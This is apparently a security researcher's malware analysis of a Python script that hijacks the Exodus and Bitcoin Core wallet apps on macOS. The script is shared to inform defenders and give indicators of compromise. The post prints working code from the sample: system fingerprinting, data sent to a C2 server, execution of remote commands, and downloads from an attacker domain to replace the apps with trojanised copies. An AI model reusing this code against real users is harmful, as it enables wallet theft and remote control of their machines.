Still today, many people think that Apple and its macOS are less targeted by malware. But the landscape is changing and threats are emerging in this ecosystem too[1]. Here is a good example: I found a malicious Python script targeting wallet application on macOS.
The script is not obfuscated and is easy to understand. The Virustotal score[2] remains low (3/59). What does it do? It targets two applications: Exodus[3] and Bitcoin Core[4]. It searches for occurrences of these applications:
def get_installed_apps(): processor_series = is_mac_intel() application_paths = ['/Applications', '/System/Applications'] app_names = [] for applications_path in application_paths: try: app_dirs = os.listdir(applications_path) except FileNotFoundError: # If the directory is not found, skip to the next continue for app in app_dirs: if app.endswith('.app'): app_name = app[:-4] # Remove the '.app' extension app_path = os.path.join(applications_path, app) # Special handling for "Exodus" app if app_name == "Exodus": exodus_path = os.path.join(applications_path, 'Exodus.app') size_in_mb = get_dir_size(exodus_path) / (1024 * 1024) # Convert bytes to megabytes if size_in_mb < 2: app_name = '*' + app_name # Special handling for "Bitcoin-Qt" app if app_name == "Bitcoin-Qt": hash_val = hash_directory(app_path) if hash_val in ['07c20b191203d55eca8f7b238ac67380a73aba1103f5513c125870a40a963ded', '51ffe30ec2815b71e3ca63a92272c548fa75961bc141057676edd53917c638da']: app_name = '*' + app_name app_names.append(app_name) # Join the application names into a single string sorted_app_names = sorted(app_names) apps_string = ', '.join(sorted_app_names) return f"Processor Series: {'Intel' if processor_series else 'M1'}, Installed Apps: {apps_string}"
Note that it also checks the architecture (Intel or M1).
Once started, the script exfiltrates some info to the C2 server:
r = send(d(meta_version) + b(1) + d(meta_guid)) ... s = b'' if up: print("getting upload") s = json.dumps({ "os": platform.platform() or "empty", "cm": get_subfolders("/USERS/") or "empty", "av": "", "apps": get_installed_apps() or "empty", "ip": meta_ip, "ver": "" }, indent=None).encode('utf8') print("getting upload ok {}".format(s)) ... print("ping start {}".format(meta_version)) r = send(d(meta_version) + b(2) + d(uid) + s)
The C2 server might reply with some Python commands to be executed on the victim’s computer:
if len(r) > 4: print("cmd start") s = r[4:].decode() cmd = s.split('\r\n') for c in cmd: p = subprocess.Popen([sys.executable], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) o = p.communicate(input=base64.b64decode(c), timeout=10)[0] print("cmd end")
Then, the script will replace applications. The first target is Exodus:
def check_exodus_and_hash(): apps_string = get_installed_apps() if 'Exodus' in apps_string: exodus_path = '/Applications/Exodus.app' size_in_mb = get_dir_size(exodus_path) / (1024 * 1024) # Convert bytes to megabytes if size_in_mb < 2: print("less than 2MB") else: if not os.path.exists("/Applications/Exodus.app"): print("exodus not installed") exit(0) print("exodus start") process_name = "Exodus" while True: if is_process_running(process_name): time.sleep(30) else: ar = '/tmp/' + str(uuid.uuid4()) os.mkdir(ar) zapp = ar + '/e.zip' scpt = ar + '/e.scpt' icn = ar + "/applet.icns" zelec = ar + "/elec.zip" realelecurl = is_mac_intelElectronUrl() download_file_with_progress(realelecurl, zelec) download_file_with_progress("http://apple-analyser.com/f/app.zip", zapp) download_file_with_progress("http://apple-analyser.com/f/Exodus.scpt", scpt) download_file_with_progress("http://apple-analyser.com/f/applet.icns", icn) subprocess.run(['unzip', "-o", zelec, '-d', "/Users/{}/electron".format(getpass.getuser())]) subprocess.run(['unzip', "-o", zapp, '-d', "/Users/{}/exodus".format(getpass.getuser())]) subprocess.run(['osacompile', '-o', ar + '/Exodus.app', scpt]) shutil.copyfile(icn, ar + '/Exodus.app/Contents/Resources/applet.icns') shutil.rmtree("/Applications/Exodus.app") shutil.copytree(ar + '/Exodus.app', "/Applications/Exodus.app") print("exodus ok") time.sleep(10) delete_directory(ar) break
The script downloads a fake Exodus app, an instance of the Electron framework[5], an Apple Script file (a .scpt file), and an icon (a .icns file). By reading the line above, you can see that files are extracted, and a new app is built via the "osacompile" tool[6] to compile Apple Scripts (note that this tool requires Xcode to be installed!)
The official app is replaced by an Apple Script. That’s why an icon file has been downloaded, it will replace the default icon and mimick a valid Exodus:
For the second app, it's easier: It is just replaced:
def check_btccore_and_hash(): apps_string = get_installed_apps() if 'Bitcoin-Qt' in apps_string: app_url = is_mac_intelBtcUrl() app_name = "Bitcoin-Qt.app" applications_dir = "/Applications/Bitcoin-Qt.app" expected_hash = is_mac_intelBtcHash() file_hash = hash_directory(applications_dir) if file_hash != expected_hash: if not os.path.exists("/Applications/Bitcoin-Qt.app"): print("btccore not installed") exit(0) print("btccore start") while True: if is_process_running("Bitcoin-Qt"): time.sleep(30) else: try: ar = '/tmp/' + str(uuid.uuid4()) os.mkdir(ar) temp_zip_path = ar + '/Bitcoin-Qt.zip' download_file_with_progress(app_url, temp_zip_path) remove_file(applications_dir) time.sleep(3) subprocess.run(['unzip', temp_zip_path, '-d', "/Applications"]) time.sleep(5) subprocess.run(["chmod", "775","/Applications/Bitcoin-Qt.app/Contents/MacOS/Bitcoin-Qt"]) time.sleep(5) delete_directory(ar) break # Move the break statement outside of the except block except Exception as e: print(f"Error downloading file: {e}") sys.exit(1)
What's the purpose of the installed rogue application? I did not detect suspicious traffic but my analysis skills with macOS binaries are low. If you have more information, please share it with us!
Here are two interesting IOCs: The domains used by the scripts to fetch payloads and talk to the C2:
[1] https://www.sentinelone.com/blog/macos-malware-2023-a-deep-dive-into-emerging-trends-and-evolving-techniques/
[2] https://www.virustotal.com/gui/file/f6bb428efdb66da56f43d7fd7affce482c47846ee8083b3740d2e4ce541319c0
[3] https://www.exodus.com/desktop/
[4] https://bitcoin.org/en/wallets/desktop/mac/bitcoincore/
[5] https://www.electronjs.org/
[6] https://ss64.com/mac/osacompile.html
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key